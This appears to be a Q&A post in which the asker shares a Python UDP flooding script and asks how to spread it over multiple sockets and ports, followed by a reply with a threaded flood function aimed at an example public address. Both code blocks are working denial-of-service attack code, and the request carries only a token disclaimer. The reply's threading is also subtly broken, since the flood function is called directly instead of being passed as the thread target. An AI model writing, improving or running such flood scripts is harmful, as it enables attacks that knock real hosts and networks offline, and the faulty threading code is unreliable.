我想创建多个 UDP 套接字

I want to create multiple UDP sockets

import socket
import time


ADDRESS = ("192.168.0.100",4119)

DATA = bytes.fromhex("AA AA AA AA")

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
s.connect(ADDRESS)

for i in range(0,99999999):
    s.send(DATA)

s.close()

上面的代码是一个简单的UDP Flooding Python代码。攻击开始时,只创建一个套接字,因此只创建一个端口。我想修改我的代码以创建多个套接字并通过各种端口发送数据包。我需要在哪里修复它?

(请勿将此代码用于不良目的。)

import random
import socket
import threading


def flood(ip, port, size):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    if port == 0:
        while 1:
            s.sendto(random.randbytes(100), (ip, random.randint(1, 65535)))
    else:
        while 1:
            s.sendto(random.randbytes(size), (ip, port))


# 10 Threads
def main():
    Threads = [threading.Thread(target=flood("1.1.1.1", 80, 100)) for x in range(10)]
    for thread in Threads:
        thread.start()
    for thread in Threads:
        thread.join()


if __name__ == "__main__":
    main()